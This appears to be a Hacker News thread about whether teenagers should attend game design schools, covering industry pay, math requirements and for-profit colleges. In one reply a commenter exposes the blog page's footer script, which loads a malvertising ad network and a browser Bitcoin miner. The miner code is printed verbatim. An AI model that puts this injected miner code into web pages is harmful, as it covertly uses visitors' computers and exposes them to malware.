some boring industry like finance, government, manufacturing, health care, retail, or any of that nonsense. And that brings us to the gaming schools. Like I said before, it's a supply and demand thing. There is a huge supply of kids who want to make video games, and not enough employers for them all. It's kind of like little boys who want to grow up and be astronauts, and little girls who want to me marine biologists. The numbers say it ain't gunna happen for most of them. There is indeed money to be made in the gaming industry, but it's not in working inside of it. It's in selling the dream that all these dumb kids have, thinking they can grow up and make video games for a living. I don't really have much good to say about working in the gaming industry. I met some cool people there, but as a whole, it's just an immature bunch of kids who have not grown up and gotten real jobs yet.

mark-r 14y ago

Be sure to read the follow-up: http://codesuppository.blogspot.com/2013/04/some-clarifications-on-my-previous-post.html http://codesuppository.blogspot.com/2013/04/some-clarificati... My favorite part is at the end, where he gives news stories just from today about 3 gaming companies laying off masses of people.

ChuckMcM 14y ago

When your kid tells you this: "Most of the time this young person thinks their qualifications come from the fact that they really, really, like to play video games a lot; and I mean like a LOT." It gives you an opportunity to help them discover things they may be passionate about. Many times (not always of course) it isn't any game they like playing alot, it is a particular game or genre they like. The goal of exercise then is to think about what features or mechanics of that particular game make it so fascinating, and then looking for that same feature/mechanic in something that people pay for [1]. Is it the economy? Solving the mysteries? Developing the story line? Role playing and acting? Devising tactics? Optimizing dozens of variables? All these things are mechanics in computer games that can be found in non-game activities. It may be that the kid likes all sorts of games, but help them to see the thing they like over the delivery mechanism and they can make smarter choices down the road. [1] I did know a guy who liked playing WoW a lot and supported himself by selling gold and various and sundry rare and epic items. Again, more the exception and not the rule.

Periodic 14y ago
I think this is a great point about the usefulness of video games. A lot of school work is boring and presented poorly: memorize your history dates, solve these equations, write an essay critiquing an essay about something you don't care about. Think about what is testable in education and you'll find that is a lot of what gets taught. Do you find the economy of games fascinating? You might get one class on economics at the end of high school. Do you love building things in Minecraft and animating them with crazy redstone circuits? You'll be lucky if your high school has woodworking, metalworking or even art classes. Do you love exploring a game world? Your classes don't really have time to let you explore, please read the assigned materials. I was lucky enough to have a computer a home where I could write (terrible) console-based games and later build web sites. Originally I wanted to make games, but then I found that I actually loved servers and the ability to reach across the internet to get data from a computer thousands of miles away was even more fascinating.

auctiontheory 14y ago

Unnecessarily negative. If your teenager has a dream, let him/her do the hard work to achieve that dream. Along the way, life will happen, and that's fine. Following one's own dream is a vastly better option than meandering through life without any purpose, or in a parentally-decreed career. On a factual level, I know employees at many of the firms name-dropped in this article, and if they're super geniuses, they hide it well.

jmharvey 14y ago
The main thing he's railing against are the "video game design" degree/certificate programs that are constantly promoted on daytime TV. These programs will load your teenager up with debt while promising a dream career, but unless they're already extremely talented in art or math, they're probably not going to come out of the program with the skills they need to have a career in the video game industry. And if they do have the art or math talent, they'll be better off getting an education that's not video-game specific.
ctdonath 14y ago
Thing is, few will do the hard work necessary. Too many think "follow your dreams" means little more than "show up for class". Is it a dream, or is it a vague response to "what is your dream?" Is it his free-time choice?

jiggy2011 14y ago

Do you really have to be a math genius to work as a game dev? I can see you would need very solid math and physics to build the next gen 3d graphics/physics engines although I remember an interview with John Carmack where he said that even he wasn't as good a mathematician as people thought he was. Surely there's plenty of code that goes into games that isn't advanced linear algebra? Like code for networking , game saving/loading , menu systems , IAP payment systems etc. Stuff that probably has more in common with general web programming. It's also possible to buy or get for free various engines to do a lot of heavy lifting for you. Also some of the most popular games now are 2d or isometric, you could probably write a 2d game from scratch without much more than basic trigonometry , linear algebra and plenty of trial and error.

Spellman 14y ago
You may not need to be a math genius, but it severely limits what you can do. There are much fewer programmers working on game logic and many more resources devoted to graphics, physics, pathfinding, AI, tools, and so on. And if you aren't a high-powered dynamo, your chances of getting into the industry at all is low. Plus you may not use it, but the logical framework and understanding of math is crucial to developers in general. I have yet to meet a good software developer who wasn't at least competent at collegiate-level math.
- EthanHeilman 14y ago
  From my limited experience writing simple crappy 3D engines and using pre-built engines such as Torque. You don't need much math knowledge at all. * If you actually writing an engine, maybe some linear algebra, calculus. OpenGL/DirectX provides quite a bit of this out of the box. Yes you need to develop some special skills but nothing amazing. * AI in games is generally heavily scripted. There is some use of common AI ideas in RTS games, for example Monte-Carlo Markov Chains was used in Dark Reign (I think Unreal tournament 2k4 did this as well). It's nothing fancy, most AI in games could be written by someone that took an undergraduate AI class. Writing AI is more about understanding the players expectation of the game. * Pathfinding is also heavily scripted. In many cases they will just define tracks for NPCs to move on, the NPCs will move to the nearest track and then follow it to their destination. >There are much fewer programmers working on game logic and many more resources devoted to graphics, physics, pathfinding, AI, tools, and so on. Many game companies are using an out of the box engine, the jobs are in scripting the game which is primarily game logic and backend stuff, just really boring game logic.

runawaybottle 14y ago

What about the good amount of kids that take part in the modding community? A lot of them aren't super geniuses, but they are passionate and competent and work on scripting existing engines, map-editors, and so forth. Is that not a viable route for aspiring game developers? It feels a little unfortunate if that's the case. This will sound astoundingly naive, I'm sure, but I really feel like our society is pretty cruel to young people between 18-25. If you fail in someway during these years, whether that be not getting into the right college, picking the right major, or picking the right career path, you do fall behind. It's one of the reasons articles like this even have to be written, to make sure young people don't waste time failing.

dyselon 14y ago
Modding is a great way to get in the industry, especially into the design jobs the OP claims don't exist.

gambiting 14y ago

"If your kid is not an expert at math, don't even bother discussing the subject of being a computer game programmer. It's a non-starter. " This. I am doing Games Engineering right now and the amount of maths is larger than I've ever done in my life.

asmithmd1 14y ago
Where are you "doing Games Engineering"
- gambiting 14y ago
  Newcastle University(UK)
zachlatta 14y ago
From my experience in the industry you just need to know your linear algebra and calculus. What does this exorbitant "amount of maths" constitute?
- gambiting 14y ago
  We had to write our own physics engine. Like completely from scratch. It's not extremely complicated maths, but there is lots of it and you need to understand how to apply it.

speeder 14y ago

Hello! I own a game company (www.kidoteca.com) and I still own legally a sorta bankrupt game company (www.agfgames.com don't expect much on that site, it is sorta bankrupt for a good reason). Also I worked with mobile games, and mobile apps that are not games at all. And I went to a game school (I have a bachelor degree in Game Design and Planning). First, the game industry as a whole, suck, the pay is HORRIBLE, HORRIBLE, HORRIBLE, HORRIBLE. One year when I was particularly cash strapped, I dumped the game industry and went to a normal mobile dev job. My wage jumped BLOODY FIVE FOLD (I am not kidding). Now that I am back working with games, I am earning half the money I was (some people might ask: why you are doing it? it is because I love doing what I do... and I won't switch unless someone offer me like 6 figures USD). Beside the huge pay gap, the game industry is also very toxic, full of crunch, and full of jerks. Some people say it has rampant sexism. It is not sexism, actually most guys are not sexist at all (actually it is easier to find white knights than misoginists), but it is filled with jerks of all kind, noone is safe, NO ONE. You will get bullied for being female, male, black, white, asian, red hair, black hair, bad teeth, too good teeth, rich, poor, too good Team Fortress 2 skills, too bad skills, not liking Minecraft, liking Minecraft... People will just hate you, period. It would be like living and working with 4chan 24/7 (or just look at the most popular game forum: NeoGAF) And finally, making games is HARD, DON'T do it because you think you like games you will like it, you will not, there are lots of boring tasks and crazy tasks. Do it only if you like what you have to do (or if you are good and can tolerate it). Also, as consequence of making games being HARD, expect failed projects, companies, jobs, even marriages, game industry has lots of those. And remember, although making games pushes you hard and forces you to learn a lot, you will find that your skills are quite unique and not much good for the rest of the market (With few exceptions of some specialities, like backend engineers or tool programmers), there are not much companies there wanting someone that can script levels in awesome ways, or that want a module file musician. And for coders, commonly in the game industry you might end learning Lua... Then good luck finding a non-game job that use that. All that said, I can say... Hell, I still love my job!

jamesaguilar 14y ago

> You do not go to college to 'learn' talent. You are either born with it or not. Can't say I agree with this entirely. I absolutely agree that going to college for four years will not make you into a good artist. But "being born with it" will not make you a good artist either. Hammering away at it two hours a day from age 12 to 22 will make you a good artist. You may never be a great one (that is where being born with it comes in). But you will be a good one. And the same is true for most pursuits. There was a great forum post a while ago where some guy could barely put together a stick figure and three years later (after an hour a day, every day) he was making oil paintings that people would actually pay for. I can't remember where though. Anyway, that sort of thing has nothing to do with talent. It's hard work and sticking to it.

jmelloy 14y ago
Yeah, I wasn't a big fan of that portion of the argument either. (Same with the math bit). I definitely think "I show an aptitude for art and graphic design, and enjoy doing it, so I will attend college to learn and grow" trumps "I have some magical amount of god-given talent." But maybe that's because I never touched a compiler before college, and it hasn't affected my career.
dasil003 14y ago
Were you thinking of this? http://www.conceptart.org/showthread.php?t=870 http://www.conceptart.org/showthread.php?t=870
- jamesaguilar 14y ago
  Same concept, but it wasn't this particular thread.
pbaehr 14y ago
I agree, but I think what you need to be born with is the passion that drives you to spend two hours a day from 12 to 22.
dsfasfasf 14y ago
I was with him until he said that. Is an excuse to give up on anything. You might as well believe in destiny and that your entire future has already been written. Who believes something like that? Seriously. Does he believe that that girl woke up one day and started drawing like that? He is wrong on this count. What you need is perseverance.

whiddershins 14y ago

That guy needs to read the talent code: http://www.amazon.com/Talent-Code-Greatness-born-ebook/dp/B0026OR1UK/ref=sr_1_1_bnp_1_kin?ie=UTF8&qid=1365033656&sr=8-1&keywords=the+talent+code http://www.amazon.com/Talent-Code-Greatness-born-ebook/dp/B0...

jacques_chester 14y ago

While I was still studying there, I volunteered for my alma mater's open day. Pretty much every teenage boy told me his ambition was to make games. To them I said "study as much maths as your school will teach", which led to crestfallen faces. To their parents I said "the games industry is terrible, but ours is a general computer science degree. Your boy will be able to get an entry-level job at any software firm". The girls who came through seemed to be more interested in software as a professional career. It was an interesting contrast.

Crake 14y ago

I know a lot of people who have for profit degrees. I can't think of even one that's not stuck in a dead end low paying job, constantly complaining on social media about how they can't seem to find a job that will put their "talent" to use. It's like they have no idea that for profit degrees are a great way to get your resume auto-chucked in the trash. (Good luck trying to talk to them about it though. Oh boy...)

michaelochurch 14y ago

I think that's more good than bad, as long as they intend to make video games. Start to finish, do something. 2d RPG on iOS? Go at it. That's a great motivation for getting into CS: wanting to make things. If they want to be "idea guys" who just go around saying, "dragons should be blue", then they need to be told that the world doesn't really work that way, and that "idea guys" who refuse to do real work are not seen as adults and generally loathed and pitied, not taken seriously. Real designers work, and hard, and most of the great designers are programmers or artists in addition. It's after college that they will realize that there are plenty of things more interesting than most video games: machine learning, scientific computing, compilers. But if video game design is the gateway drug, then that works. What a lot of young people need to consider is that "follow your passion" is the worst advice in the world. You shouldn't do something you hate, but if your work is what you've wanted to do since you were 5, you'll hate being a subordinate. Absolutely no one says, "a subordinate" when asked (at 5) what he wants to be when he grows up. If your passion causes you get into conflict with bikeshedding executives who have terrible ideas but can fire you, then avoid. That advice should be, "find work you enjoy, and transition to your passion when you're no longer a subordinate".

bane 14y ago

When I finally decided to go to college, I really wanted to do it to make games. I didn't learn much in college that would have translated directly into game programming, but I did learn a lot that translated directly into getting a decent job. Along the way I learned how computers work inside and out, from hardware to towers stacks of software abstraction, and found tons of other things I like to make even more than games. Now I play games for fun, which is better than the few of my friends who did go into the industry.

engtech 14y ago

Wow, this page tries to do a drive-by java install. Other comments say its to load a bitcoin harvester.

blauwbilgorgel 14y ago
In the footer: <script type="text/javascript" language="javascript" src= "http://www.ewebcounter.com/include/track.js"></script> <noscript><a href="http://www.ewebcounter.com/" target="_blank"> <img src="http://www.ewebcounter.com/track.jsp?project_id=59017&java=0" alt= "Website Activity" border="0"></a> </noscript>  www.ewebcounter.com/include/track.js: document.write('<scr'+'ipt type="text/javascript" src= "http://ads.cpxinteractive.com/ttj?id=1082054"></scr'+'ipt>'); document.write('<scr'+'ipt type="text/javascript" src= "http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></scr'+'ipt>'); document.write('<scr'+'ipt type="text/javascript" src= "http://www.bitcoinplus.com/js/miner.js"></scr'+'ipt>'); document.write('<scr'+'ipt type="text/javascript">BitcoinPlusMiner(22487784) </scr'+'ipt>'); So a bitcoin miner AND an ad platform associated with malware/malvertising.

anonymousab 14y ago

You get them to figure out and write out the logic to pong. On paper. Then graduate them to actual programming, and help them along a bit. Tell them to experiment with pong when they get it going. Add more paddles. Add more balls. Add obstacles. Add whatever they think would be cool. A Richard Garriott has talked about, good game design is a critically difficult field. Get them experimenting with gameplay as related to the underlying engine before you ever push them to a game design school.

Jach 14y ago

My two cents: if you or your kid has any doubts about going to college because you're sick of the general school bullshit, and if you're wondering if things will be different at a game school, then save your money and time and don't go. Due to the nature of accreditation and schools wanting to make money thus letting/forcing students to use federal financial aid, they play by the same rules other colleges play by, and students will get the same crap as any other school. If you really want to be a game developer, now is the best time ever to forge your own path going down the Indie road. With some diligent networking you can even get picked up by the big boys--but by that time, you might not want to get anywhere near them. If you don't know what to learn or want more formally gained knowledge, go through the course catalog of one of the schools and get the books on those subjects. (The course catalogs will also convince you that you don't need to be that smart--to add to the video's advice, along with asking about graduated students' job placement, ask about current students' GPAs and what the most commonly failed classes are. I bet a calculus and physics course are among them.)

ChrisNorstrom 14y ago

I'm one the dumb kids that went to a game development school. That school was Full Sail University. Do NOT Go There. Full Sail has almost ALL the red flags that the article and video talk about. Including rushed "accelerated" courses, pumping out students, trying to teach us calculus in 1 month, trigonometry in 1 month, everything was so rushed. Classes were $3,000/month. Lab techs (assistants) played world of warcraft instead of helping us. I honestly have so many bad memories from Full Sail I really don't want to talk about it. The money wasted, the stress it caused me. I just feel overwhelmed with bad emotions. Just stay away from Full Sail. I went back in 2006, I doubt they've changed. Their marketing and advertising is amazing though... "Full Sail is not recognized by a regional accreditor or by the National Association of Schools of Art and Design. As a result, most traditional colleges would not honor credits earned by transferring Full Sail students or those who attempt to continue their studies after earning an associate degree from the university Read more: http://www.insidehighered.com/news/2012/01/24/romney-right-about-full-sail-university http://www.insidehighered.com/news/2012/01/24/romney-right-a...

teeja 14y ago

If they really have the chops and motivation (wishing for it doesn't make it so), it may be a valuable life experience for them to give it a try. If they "succeed" they've saved years of expensive tuition. If they "fail", then they'll have a lot better idea of what the real world's like ... always valuable when choosing a college major, if they go that way.

SeoxyS 14y ago

> There are lots of jobs in computer software where you do not, necessarily, have to be really, really, really, good at math. Computer games are not one of them. The article does not seem entirely objective to me. It seems to equate the entire game industry to the process and cycles big-budget triple-A titles go through. I ended up being a software architect in the game industry, doing pretty well, and I did all of that after dropping out of studying graphic design at art school. I've never been a math genius, or even a stellar student. I have a fairly well balanced lifestyle and am paid very well. I'm not saying this to brag. I just want to point out that a lot of the assumptions stated in this article are bullshit. You don't need to be great at math to be a game engineer. You don't need to finish a four-year degree at Stanford. If you're smart and can hustle, you'll do fine in the game (or any other) industry.

hmsimha 14y ago

obligatory cracked article on the terrible quality of video game school commercials: http://www.cracked.com/blog/the-6-stupidest-video-game-school-commercials/ http://www.cracked.com/blog/the-6-stupidest-video-game-schoo...